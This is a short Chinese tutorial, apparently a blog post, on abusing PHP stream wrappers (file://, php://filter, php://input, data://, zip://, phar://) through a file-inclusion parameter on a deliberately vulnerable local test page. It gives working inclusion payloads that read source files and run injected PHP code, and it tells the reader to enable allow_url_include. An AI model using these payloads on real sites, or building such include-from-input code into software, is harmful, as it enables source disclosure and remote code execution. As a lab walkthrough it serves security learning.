file
php.ini参数设置
在 php.ini ⾥有两个重要的参数
allow_url_fopen
、allow_url_include
;全部设置为On
先准备一个123.php的用来接收参数的网页
![](https://i-blog.csdnimg.cn/direct/3c8850c602654665aab784711f9744dc.png)
使用它去读取一个文件
:
file://
⽂件的绝对路径和⽂件名
成功读取
php://filter
我们用它来读取123.php本身
123.php?cmd=php://filter/read=convert.base64-encode/resource=123.php
![](https://i-blog.csdnimg.cn/direct/d53fe785cd4d403a9fa17095bebde6b0.png)
php://input
⽤途:可以访问请求的的原始数据的只读流。将
post
请求中的数据作为
PHP
代码执⾏
输入?cmd=php://input使用bp抓包工具抓取数据
在结尾加上
<?php phpinfo() ?>
<?php phpinfo() ?>
![](https://i-blog.csdnimg.cn/direct/0bf267d1f60c43df80ff9c8630dd2267.png)
成功访问
data://
输入?cmd=data:text/plain,<?php%20phpinfo();?>
zip://
?cmd=zip://D:file.zip%23phpcode.txt
phar://
?cmd=phar://D:/YINGWENRUANJIAN/phpstudy_pro/WWW/fileinclude/test.zip/phpinfo.txt